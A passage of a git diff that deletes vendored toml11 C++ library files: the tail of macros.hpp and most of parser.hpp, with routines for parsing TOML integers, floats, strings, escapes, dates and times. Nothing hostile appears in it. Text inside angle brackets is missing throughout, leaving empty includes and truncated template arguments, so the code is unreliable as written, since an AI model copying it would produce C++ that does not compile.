-#define TOML11_FOR_EACH_VA_ARGS_AUX_4( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_3( FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_5( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_4( FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_6( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_5( FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_7( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_6( FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_8( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_7( FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_9( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_8( FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_10(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_9( FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_11(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_10(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_12(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_11(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_13(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_12(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_14(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_13(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_15(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_14(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_16(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_15(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_17(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_16(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_18(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_17(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_19(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_18(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_20(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_19(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_21(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_20(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_22(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_21(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_23(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_22(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_24(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_23(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_25(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_24(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_26(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_25(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_27(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_26(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_28(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_27(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_29(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_28(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_30(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_29(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_31(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_30(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_32(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_31(FUNCTOR, __VA_ARGS__) - -#define TOML11_FOR_EACH_VA_ARGS(FUNCTOR, ...)\ - TOML11_CONCATENATE(TOML11_FOR_EACH_VA_ARGS_AUX_, TOML11_ARGS_SIZE(__VA_ARGS__))(FUNCTOR, __VA_ARGS__) - -// ---------------------------------------------------------------------------- -// TOML11_DEFINE_CONVERSION_NON_INTRUSIVE - -// use it in the following way. -// ```cpp -// namespace foo -// { -// struct Foo -// { -// std::string s; -// double d; -// int i; -// }; -// } // foo -// -// TOML11_DEFINE_CONVERSION_NON_INTRUSIVE(foo::Foo, s, d, i) -// ``` -// And then you can use `toml::find(file, "foo");` -// -#define TOML11_FIND_MEMBER_VARIABLE_FROM_VALUE(VAR_NAME)\ - obj.VAR_NAME = toml::find(v, TOML11_STRINGIZE(VAR_NAME)); - -#define TOML11_ASSIGN_MEMBER_VARIABLE_TO_VALUE(VAR_NAME)\ - v[TOML11_STRINGIZE(VAR_NAME)] = obj.VAR_NAME; - -#define TOML11_DEFINE_CONVERSION_NON_INTRUSIVE(NAME, ...)\ - namespace toml { \ - template<> \ - struct from \ - { \ - template class T, \ - template class A> \ - static NAME from_toml(const basic_value& v) \ - { \ - NAME obj; \ - TOML11_FOR_EACH_VA_ARGS(TOML11_FIND_MEMBER_VARIABLE_FROM_VALUE, __VA_ARGS__) \ - return obj; \ - } \ - }; \ - template<> \ - struct into \ - { \ - static value into_toml(const NAME& obj) \ - { \ - ::toml::value v = ::toml::table{}; \ - TOML11_FOR_EACH_VA_ARGS(TOML11_ASSIGN_MEMBER_VARIABLE_TO_VALUE, __VA_ARGS__) \ - return v; \ - } \ - }; \ - } /* toml */ - -#endif// TOML11_WITHOUT_DEFINE_NON_INTRUSIVE - -#endif// TOML11_MACROS_HPP diff --git a/src/toml11/toml/parser.hpp b/src/toml11/toml/parser.hpp deleted file mode 100644 index e31179918..000000000 --- a/src/toml11/toml/parser.hpp +++ /dev/null @@ -1,2364 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_PARSER_HPP -#define TOML11_PARSER_HPP -#include -#include -#include - -#include "combinator.hpp" -#include "lexer.hpp" -#include "region.hpp" -#include "result.hpp" -#include "types.hpp" -#include "value.hpp" - -#ifndef TOML11_DISABLE_STD_FILESYSTEM -#ifdef __cpp_lib_filesystem -#if __has_include() -#define TOML11_HAS_STD_FILESYSTEM -#include -#endif // has_include() -#endif // __cpp_lib_filesystem -#endif // TOML11_DISABLE_STD_FILESYSTEM - -namespace toml -{ -namespace detail -{ - -inline result, std::string> -parse_boolean(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_boolean::invoke(loc)) - { - const auto reg = token.unwrap(); - if (reg.str() == "true") {return ok(std::make_pair(true, reg));} - else if(reg.str() == "false") {return ok(std::make_pair(false, reg));} - else // internal error. - { - throw internal_error(format_underline( - "toml::parse_boolean: internal error", - {{source_location(reg), "invalid token"}}), - source_location(reg)); - } - } - loc.reset(first); //rollback - return err(format_underline("toml::parse_boolean: ", - {{source_location(loc), "the next token is not a boolean"}})); -} - -inline result, std::string> -parse_binary_integer(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_bin_int::invoke(loc)) - { - auto str = token.unwrap().str(); - assert(str.size() > 2); // minimum -> 0b1 - integer retval(0), base(1); - for(auto i(str.rbegin()), e(str.rend() - 2); i!=e; ++i) - { - if (*i == '1'){retval += base; base *= 2;} - else if(*i == '0'){base *= 2;} - else if(*i == '_'){/* do nothing. */} - else // internal error. - { - throw internal_error(format_underline( - "toml::parse_integer: internal error", - {{source_location(token.unwrap()), "invalid token"}}), - source_location(loc)); - } - } - return ok(std::make_pair(retval, token.unwrap())); - } - loc.reset(first); - return err(format_underline("toml::parse_binary_integer:", - {{source_location(loc), "the next token is not an integer"}})); -} - -inline result, std::string> -parse_octal_integer(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_oct_int::invoke(loc)) - { - auto str = token.unwrap().str(); - str.erase(std::remove(str.begin(), str.end(), '_'), str.end()); - str.erase(str.begin()); str.erase(str.begin()); // remove `0o` prefix - - std::istringstream iss(str); - integer retval(0); - iss >> std::oct >> retval; - return ok(std::make_pair(retval, token.unwrap())); - } - loc.reset(first); - return err(format_underline("toml::parse_octal_integer:", - {{source_location(loc), "the next token is not an integer"}})); -} - -inline result, std::string> -parse_hexadecimal_integer(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_hex_int::invoke(loc)) - { - auto str = token.unwrap().str(); - str.erase(std::remove(str.begin(), str.end(), '_'), str.end()); - str.erase(str.begin()); str.erase(str.begin()); // remove `0x` prefix - - std::istringstream iss(str); - integer retval(0); - iss >> std::hex >> retval; - return ok(std::make_pair(retval, token.unwrap())); - } - loc.reset(first); - return err(format_underline("toml::parse_hexadecimal_integer", - {{source_location(loc), "the next token is not an integer"}})); -} - -inline result, std::string> -parse_integer(location& loc) -{ - const auto first = loc.iter(); - if(first != loc.end() && *first == '0') - { - const auto second = std::next(first); - if(second == loc.end()) // the token is just zero. - { - loc.advance(); - return ok(std::make_pair(0, region(loc, first, second))); - } - - if(*second == 'b') {return parse_binary_integer (loc);} // 0b1100 - if(*second == 'o') {return parse_octal_integer (loc);} // 0o775 - if(*second == 'x') {return parse_hexadecimal_integer(loc);} // 0xC0FFEE - - if(std::isdigit(*second)) - { - return err(format_underline("toml::parse_integer: " - "leading zero in an Integer is not allowed.", - {{source_location(loc), "leading zero"}})); - } - else if(std::isalpha(*second)) - { - return err(format_underline("toml::parse_integer: " - "unknown integer prefix appeared.", - {{source_location(loc), "none of 0x, 0o, 0b"}})); - } - } - - if(const auto token = lex_dec_int::invoke(loc)) - { - auto str = token.unwrap().str(); - str.erase(std::remove(str.begin(), str.end(), '_'), str.end()); - - std::istringstream iss(str); - integer retval(0); - iss >> retval; - return ok(std::make_pair(retval, token.unwrap())); - } - loc.reset(first); - return err(format_underline("toml::parse_integer: ", - {{source_location(loc), "the next token is not an integer"}})); -} - -inline result, std::string> -parse_floating(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_float::invoke(loc)) - { - auto str = token.unwrap().str(); - if(str == "inf" || str == "+inf") - { - if(std::numeric_limits::has_infinity) - { - return ok(std::make_pair( - std::numeric_limits::infinity(), token.unwrap())); - } - else - { - throw std::domain_error("toml::parse_floating: inf value found" - " but the current environment does not support inf. Please" - " make sure that the floating-point implementation conforms" - " IEEE 754/ISO 60559 international standard."); - } - } - else if(str == "-inf") - { - if(std::numeric_limits::has_infinity) - { - return ok(std::make_pair( - -std::numeric_limits::infinity(), token.unwrap())); - } - else - { - throw std::domain_error("toml::parse_floating: inf value found" - " but the current environment does not support inf. Please" - " make sure that the floating-point implementation conforms" - " IEEE 754/ISO 60559 international standard."); - } - } - else if(str == "nan" || str == "+nan") - { - if(std::numeric_limits::has_quiet_NaN) - { - return ok(std::make_pair( - std::numeric_limits::quiet_NaN(), token.unwrap())); - } - else if(std::numeric_limits::has_signaling_NaN) - { - return ok(std::make_pair( - std::numeric_limits::signaling_NaN(), token.unwrap())); - } - else - { - throw std::domain_error("toml::parse_floating: NaN value found" - " but the current environment does not support NaN. Please" - " make sure that the floating-point implementation conforms" - " IEEE 754/ISO 60559 international standard."); - } - } - else if(str == "-nan") - { - if(std::numeric_limits::has_quiet_NaN) - { - return ok(std::make_pair( - -std::numeric_limits::quiet_NaN(), token.unwrap())); - } - else if(std::numeric_limits::has_signaling_NaN) - { - return ok(std::make_pair( - -std::numeric_limits::signaling_NaN(), token.unwrap())); - } - else - { - throw std::domain_error("toml::parse_floating: NaN value found" - " but the current environment does not support NaN. Please" - " make sure that the floating-point implementation conforms" - " IEEE 754/ISO 60559 international standard."); - } - } - str.erase(std::remove(str.begin(), str.end(), '_'), str.end()); - std::istringstream iss(str); - floating v(0.0); - iss >> v; - return ok(std::make_pair(v, token.unwrap())); - } - loc.reset(first); - return err(format_underline("toml::parse_floating: ", - {{source_location(loc), "the next token is not a float"}})); -} - -inline std::string read_utf8_codepoint(const region& reg, const location& loc) -{ - const auto str = reg.str().substr(1); - std::uint_least32_t codepoint; - std::istringstream iss(str); - iss >> std::hex >> codepoint; - - const auto to_char = [](const std::uint_least32_t i) noexcept -> char { - const auto uc = static_cast(i); - return *reinterpret_cast(std::addressof(uc)); - }; - - std::string character; - if(codepoint < 0x80) // U+0000 ... U+0079 ; just an ASCII. - { - character += static_cast(codepoint); - } - else if(codepoint < 0x800) //U+0080 ... U+07FF - { - // 110yyyyx 10xxxxxx; 0x3f == 0b0011'1111 - character += to_char(0xC0| codepoint >> 6); - character += to_char(0x80|(codepoint & 0x3F)); - } - else if(codepoint < 0x10000) // U+0800...U+FFFF - { - if(0xD800 <= codepoint && codepoint <= 0xDFFF) - { - throw syntax_error(format_underline( - "toml::read_utf8_codepoint: codepoints in the range " - "[0xD800, 0xDFFF] are not valid UTF-8.", {{ - source_location(loc), "not a valid UTF-8 codepoint" - }}), source_location(loc)); - } - assert(codepoint < 0xD800 || 0xDFFF < codepoint); - // 1110yyyy 10yxxxxx 10xxxxxx - character += to_char(0xE0| codepoint >> 12); - character += to_char(0x80|(codepoint >> 6 & 0x3F)); - character += to_char(0x80|(codepoint & 0x3F)); - } - else if(codepoint < 0x110000) // U+010000 ... U+10FFFF - { - // 11110yyy 10yyxxxx 10xxxxxx 10xxxxxx - character += to_char(0xF0| codepoint >> 18); - character += to_char(0x80|(codepoint >> 12 & 0x3F)); - character += to_char(0x80|(codepoint >> 6 & 0x3F)); - character += to_char(0x80|(codepoint & 0x3F)); - } - else // out of UTF-8 region - { - throw syntax_error(format_underline("toml::read_utf8_codepoint:" - " input codepoint is too large.", - {{source_location(loc), "should be in [0x00..0x10FFFF]"}}), - source_location(loc)); - } - return character; -} - -inline result parse_escape_sequence(location& loc) -{ - const auto first = loc.iter(); - if(first == loc.end() || *first != '\\') - { - return err(format_underline("toml::parse_escape_sequence: ", {{ - source_location(loc), "the next token is not a backslash \"\\\""}})); - } - loc.advance(); - switch(*loc.iter()) - { - case '\\':{loc.advance(); return ok(std::string("\\"));} - case '"' :{loc.advance(); return ok(std::string("\""));} - case 'b' :{loc.advance(); return ok(std::string("\b"));} - case 't' :{loc.advance(); return ok(std::string("\t"));} - case 'n' :{loc.advance(); return ok(std::string("\n"));} - case 'f' :{loc.advance(); return ok(std::string("\f"));} - case 'r' :{loc.advance(); return ok(std::string("\r"));} - case 'u' : - { - if(const auto token = lex_escape_unicode_short::invoke(loc)) - { - return ok(read_utf8_codepoint(token.unwrap(), loc)); - } - else - { - return err(format_underline("parse_escape_sequence: " - "invalid token found in UTF-8 codepoint uXXXX.", - {{source_location(loc), "here"}})); - } - } - case 'U': - { - if(const auto token = lex_escape_unicode_long::invoke(loc)) - { - return ok(read_utf8_codepoint(token.unwrap(), loc)); - } - else - { - return err(format_underline("parse_escape_sequence: " - "invalid token found in UTF-8 codepoint Uxxxxxxxx", - {{source_location(loc), "here"}})); - } - } - } - - const auto msg = format_underline("parse_escape_sequence: " - "unknown escape sequence appeared.", {{source_location(loc), - "escape sequence is one of \\, \", b, t, n, f, r, uxxxx, Uxxxxxxxx"}}, - /* Hints = */{"if you want to write backslash as just one backslash, " - "use literal string like: regex = '<\\i\\c*\\s*>'"}); - loc.reset(first); - return err(msg); -} - -inline std::ptrdiff_t check_utf8_validity(const std::string& reg) -{ - location loc("tmp", reg); - const auto u8 = repeat::invoke(loc); - if(!u8 || loc.iter() != loc.end()) - { - const auto error_location = std::distance(loc.begin(), loc.iter()); - assert(0 <= error_location); - return error_location; - } - return -1; -} - -inline result, std::string> -parse_ml_basic_string(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_ml_basic_string::invoke(loc)) - { - auto inner_loc = loc; - inner_loc.reset(first); - - std::string retval; - retval.reserve(token.unwrap().size()); - - auto delim = lex_ml_basic_string_open::invoke(inner_loc); - if(!delim) - { - throw internal_error(format_underline( - "parse_ml_basic_string: invalid token", - {{source_location(inner_loc), "should be \"\"\""}}), - source_location(inner_loc)); - } - // immediate newline is ignored (if exists) - /* discard return value */ lex_newline::invoke(inner_loc); - - delim = none(); - while(!delim) - { - using lex_unescaped_seq = repeat< - either, unlimited>; - if(auto unescaped = lex_unescaped_seq::invoke(inner_loc)) - { - retval += unescaped.unwrap().str(); - } - if(auto escaped = parse_escape_sequence(inner_loc)) - { - retval += escaped.unwrap(); - } - if(auto esc_nl = lex_ml_basic_escaped_newline::invoke(inner_loc)) - { - // ignore newline after escape until next non-ws char - } - if(inner_loc.iter() == inner_loc.end()) - { - throw internal_error(format_underline( - "parse_ml_basic_string: unexpected end of region", - {{source_location(inner_loc), "not sufficient token"}}), - source_location(inner_loc)); - } - delim = lex_ml_basic_string_close::invoke(inner_loc); - } - // `lex_ml_basic_string_close` allows 3 to 5 `"`s to allow 1 or 2 `"`s - // at just before the delimiter. Here, we need to attach `"`s at the - // end of the string body, if it exists. - // For detail, see the definition of `lex_ml_basic_string_close`. - assert(std::all_of(delim.unwrap().first(), delim.unwrap().last(), - [](const char c) noexcept {return c == '\"';})); - switch(delim.unwrap().size()) - { - case 3: {break;} - case 4: {retval += "\""; break;} - case 5: {retval += "\"\""; break;} - default: - { - throw internal_error(format_underline( - "parse_ml_basic_string: closing delimiter has invalid length", - {{source_location(inner_loc), "end of this"}}), - source_location(inner_loc)); - } - } - - const auto err_loc = check_utf8_validity(token.unwrap().str()); - if(err_loc == -1) - { - return ok(std::make_pair(toml::string(retval), token.unwrap())); - } - else - { - inner_loc.reset(first); - inner_loc.advance(err_loc); - throw syntax_error(format_underline( - "parse_ml_basic_string: invalid utf8 sequence found", - {{source_location(inner_loc), "here"}}), - source_location(inner_loc)); - } - } - else - { - loc.reset(first); - return err(format_underline("toml::parse_ml_basic_string: " - "the next token is not a valid multiline string", - {{source_location(loc), "here"}})); - } -} - -inline result, std::string> -parse_basic_string(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_basic_string::invoke(loc)) - { - auto inner_loc = loc; - inner_loc.reset(first); - - auto quot = lex_quotation_mark::invoke(inner_loc); - if(!quot) - { - throw internal_error(format_underline("parse_basic_string: " - "invalid token", {{source_location(inner_loc), "should be \""}}), - source_location(inner_loc)); - } - - std::string retval; - retval.reserve(token.unwrap().size()); - - quot = none(); - while(!quot) - { - using lex_unescaped_seq = repeat; - if(auto unescaped = lex_unescaped_seq::invoke(inner_loc)) - { - retval += unescaped.unwrap().str(); - } - if(auto escaped = parse_escape_sequence(inner_loc)) - { - retval += escaped.unwrap(); - } - if(inner_loc.iter() == inner_loc.end()) - { - throw internal_error(format_underline( - "parse_basic_string: unexpected end of region", - {{source_location(inner_loc), "not sufficient token"}}), - source_location(inner_loc)); - } - quot = lex_quotation_mark::invoke(inner_loc); - } - - const auto err_loc = check_utf8_validity(token.unwrap().str()); - if(err_loc == -1) - { - return ok(std::make_pair(toml::string(retval), token.unwrap())); - } - else - { - inner_loc.reset(first); - inner_loc.advance(err_loc); - throw syntax_error(format_underline( - "parse_ml_basic_string: invalid utf8 sequence found", - {{source_location(inner_loc), "here"}}), - source_location(inner_loc)); - } - } - else - { - loc.reset(first); // rollback - return err(format_underline("toml::parse_basic_string: " - "the next token is not a valid string", - {{source_location(loc), "here"}})); - } -} - -inline result, std::string> -parse_ml_literal_string(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_ml_literal_string::invoke(loc)) - { - location inner_loc(loc.name(), token.unwrap().str()); - - const auto open = lex_ml_literal_string_open::invoke(inner_loc); - if(!open) - { - throw internal_error(format_underline( - "parse_ml_literal_string: invalid token", - {{source_location(inner_loc), "should be '''"}}), - source_location(inner_loc)); - } - // immediate newline is ignored (if exists) - /* discard return value */ lex_newline::invoke(inner_loc); - - const auto body = lex_ml_literal_body::invoke(inner_loc); - - const auto close = lex_ml_literal_string_close::invoke(inner_loc); - if(!close) - { - throw internal_error(format_underline( - "parse_ml_literal_string: invalid token", - {{source_location(inner_loc), "should be '''"}}), - source_location(inner_loc)); - } - // `lex_ml_literal_string_close` allows 3 to 5 `'`s to allow 1 or 2 `'`s - // at just before the delimiter. Here, we need to attach `'`s at the - // end of the string body, if it exists. - // For detail, see the definition of `lex_ml_basic_string_close`. - - std::string retval = body.unwrap().str(); - assert(std::all_of(close.unwrap().first(), close.unwrap().last(), - [](const char c) noexcept {return c == '\'';})); - switch(close.unwrap().size()) - { - case 3: {break;} - case 4: {retval += "'"; break;} - case 5: {retval += "''"; break;} - default: - { - throw internal_error(format_underline( - "parse_ml_literal_string: closing delimiter has invalid length", - {{source_location(inner_loc), "end of this"}}), - source_location(inner_loc)); - } - } - - const auto err_loc = check_utf8_validity(token.unwrap().str()); - if(err_loc == -1) - { - return ok(std::make_pair(toml::string(retval, toml::string_t::literal), - token.unwrap())); - } - else - { - inner_loc.reset(first); - inner_loc.advance(err_loc); - throw syntax_error(format_underline( - "parse_ml_basic_string: invalid utf8 sequence found", - {{source_location(inner_loc), "here"}}), - source_location(inner_loc)); - } - } - else - { - loc.reset(first); // rollback - return err(format_underline("toml::parse_ml_literal_string: " - "the next token is not a valid multiline literal string", - {{source_location(loc), "here"}})); - } -} - -inline result, std::string> -parse_literal_string(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_literal_string::invoke(loc)) - { - location inner_loc(loc.name(), token.unwrap().str()); - - const auto open = lex_apostrophe::invoke(inner_loc); - if(!open) - { - throw internal_error(format_underline( - "parse_literal_string: invalid token", - {{source_location(inner_loc), "should be '"}}), - source_location(inner_loc)); - } - - const auto body = repeat::invoke(inner_loc); - - const auto close = lex_apostrophe::invoke(inner_loc); - if(!close) - { - throw internal_error(format_underline( - "parse_literal_string: invalid token", - {{source_location(inner_loc), "should be '"}}), - source_location(inner_loc)); - } - - const auto err_loc = check_utf8_validity(token.unwrap().str()); - if(err_loc == -1) - { - return ok(std::make_pair( - toml::string(body.unwrap().str(), toml::string_t::literal), - token.unwrap())); - } - else - { - inner_loc.reset(first); - inner_loc.advance(err_loc); - throw syntax_error(format_underline( - "parse_ml_basic_string: invalid utf8 sequence found", - {{source_location(inner_loc), "here"}}), - source_location(inner_loc)); - } - } - else - { - loc.reset(first); // rollback - return err(format_underline("toml::parse_literal_string: " - "the next token is not a valid literal string", - {{source_location(loc), "here"}})); - } -} - -inline result, std::string> -parse_string(location& loc) -{ - if(loc.iter() != loc.end() && *(loc.iter()) == '"') - { - if(loc.iter() + 1 != loc.end() && *(loc.iter() + 1) == '"' && - loc.iter() + 2 != loc.end() && *(loc.iter() + 2) == '"') - { - return parse_ml_basic_string(loc); - } - else - { - return parse_basic_string(loc); - } - } - else if(loc.iter() != loc.end() && *(loc.iter()) == '\'') - { - if(loc.iter() + 1 != loc.end() && *(loc.iter() + 1) == '\'' && - loc.iter() + 2 != loc.end() && *(loc.iter() + 2) == '\'') - { - return parse_ml_literal_string(loc); - } - else - { - return parse_literal_string(loc); - } - } - return err(format_underline("toml::parse_string: ", - {{source_location(loc), "the next token is not a string"}})); -} - -inline result, std::string> -parse_local_date(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_local_date::invoke(loc)) - { - location inner_loc(loc.name(), token.unwrap().str()); - - const auto y = lex_date_fullyear::invoke(inner_loc); - if(!y || inner_loc.iter() == inner_loc.end() || *inner_loc.iter() != '-') - { - throw internal_error(format_underline( - "toml::parse_inner_local_date: invalid year format", - {{source_location(inner_loc), "should be `-`"}}), - source_location(inner_loc)); - } - inner_loc.advance(); - const auto m = lex_date_month::invoke(inner_loc); - if(!m || inner_loc.iter() == inner_loc.end() || *inner_loc.iter() != '-') - { - throw internal_error(format_underline( - "toml::parse_local_date: invalid month format", - {{source_location(inner_loc), "should be `-`"}}), - source_location(inner_loc)); - } - inner_loc.advance(); - const auto d = lex_date_mday::invoke(inner_loc); - if(!d) - { - throw internal_error(format_underline( - "toml::parse_local_date: invalid day format", - {{source_location(inner_loc), "here"}}), - source_location(inner_loc)); - } - - const auto year = static_cast(from_string(y.unwrap().str(), 0)); - const auto month = static_cast(from_string(m.unwrap().str(), 0)); - const auto day = static_cast(from_string(d.unwrap().str(), 0)); - - // We briefly check whether the input date is valid or not. But here, we - // only check if the RFC3339 compliance. - // Actually there are several special date that does not exist, - // because of historical reasons, such as 1582/10/5-1582/10/14 (only in - // several countries). But here, we do not care about such a complicated - // rule. It makes the code complicated and there is only low probability - // that such a specific date is needed in practice. If someone need to - // validate date accurately, that means that the one need a specialized - // library for their purpose in a different layer. - { - const bool is_leap = (year % 4 == 0) && ((year % 100 != 0) || (year % 400 == 0)); - const auto max_day = (month == 2) ? (is_leap ? 29 : 28) : - ((month == 4 || month == 6 || month == 9 || month == 11) ? 30 : 31); - - if((month < 1 || 12 < month) || (day < 1 || max_day < day)) - { - throw syntax_error(format_underline("toml::parse_date: " - "invalid date: it does not conform RFC3339.", {{ - source_location(loc), "month should be 01-12, day should be" - " 01-28,29,30,31, depending on month/year." - }}), source_location(inner_loc)); - } - } - return ok(std::make_pair(local_date(year, static_cast(month - 1), day), - token.unwrap())); - } - else - { - loc.reset(first); - return err(format_underline("toml::parse_local_date: ", - {{source_location(loc), "the next token is not a local_date"}})); - } -} - -inline result, std::string> -parse_local_time(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_local_time::invoke(loc)) - { - location inner_loc(loc.name(), token.unwrap().str()); - - const auto h = lex_time_hour::invoke(inner_loc); - if(!h || inner_loc.iter() == inner_loc.end() || *inner_loc.iter() != ':') - { - throw internal_error(format_underline( - "toml::parse_local_time: invalid year format", - {{source_location(inner_loc), "should be `:`"}}), - source_location(inner_loc)); - } - inner_loc.advance(); - const auto m = lex_time_minute::invoke(inner_loc); - if(!m || inner_loc.iter() == inner_loc.end() || *inner_loc.iter() != ':') - { - throw internal_error(format_underline( - "toml::parse_local_time: invalid month format", - {{source_location(inner_loc), "should be `:`"}}), - source_location(inner_loc)); - } - inner_loc.advance(); - const auto s = lex_time_second::invoke(inner_loc); - if(!s) - { - throw internal_error(format_underline( - "toml::parse_local_time: invalid second format", - {{source_location(inner_loc), "here"}}), - source_location(inner_loc)); - } - - const int hour = from_string(h.unwrap().str(), 0); - const int minute = from_string(m.unwrap().str(), 0); - const int second = from_string(s.unwrap().str(), 0); - - if((hour < 0 || 23 < hour) || (minute < 0 || 59 < minute) || - (second < 0 || 60 < second)) // it may be leap second - { - throw syntax_error(format_underline("toml::parse_time: " - "invalid time: it does not conform RFC3339.", {{ - source_location(loc), "hour should be 00-23, minute should be" - " 00-59, second should be 00-60 (depending on the leap" - " second rules.)"}}), source_location(inner_loc)); - } - - local_time time(hour, minute, second, 0, 0); - - const auto before_secfrac = inner_loc.iter(); - if(const auto secfrac = lex_time_secfrac::invoke(inner_loc)) - { - auto sf = secfrac.unwrap().str(); - sf.erase(sf.begin()); // sf.front() == '.' - switch(sf.size() % 3) - { - case 2: sf += '0'; break; - case 1: sf += "00"; break; - case 0: break; - default: break; - } - if(sf.size() >= 9) - { - time.millisecond = from_string(sf.substr(0, 3), 0u); - time.microsecond = from_string(sf.substr(3, 3), 0u); - time.nanosecond = from_string(sf.substr(6, 3), 0u); - } - else if(sf.size() >= 6) - { - time.millisecond = from_string(sf.substr(0, 3), 0u); - time.microsecond = from_string(sf.substr(3, 3), 0u); - } - else if(sf.size() >= 3) - { - time.millisecond = from_string(sf, 0u); - time.microsecond = 0u; - } - } - else - { - if(before_secfrac != inner_loc.iter()) - { - throw internal_error(format_underline( - "toml::parse_local_time: invalid subsecond format", - {{source_location(inner_loc), "here"}}), - source_location(inner_loc)); - } - } - return ok(std::make_pair(time, token.unwrap())); - } - else - { - loc.reset(first); - return err(format_underline("toml::parse_local_time: ", - {{source_location(loc), "the next token is not a local_time"}})); - } -} - -inline result, std::string> -parse_local_datetime(location& loc) 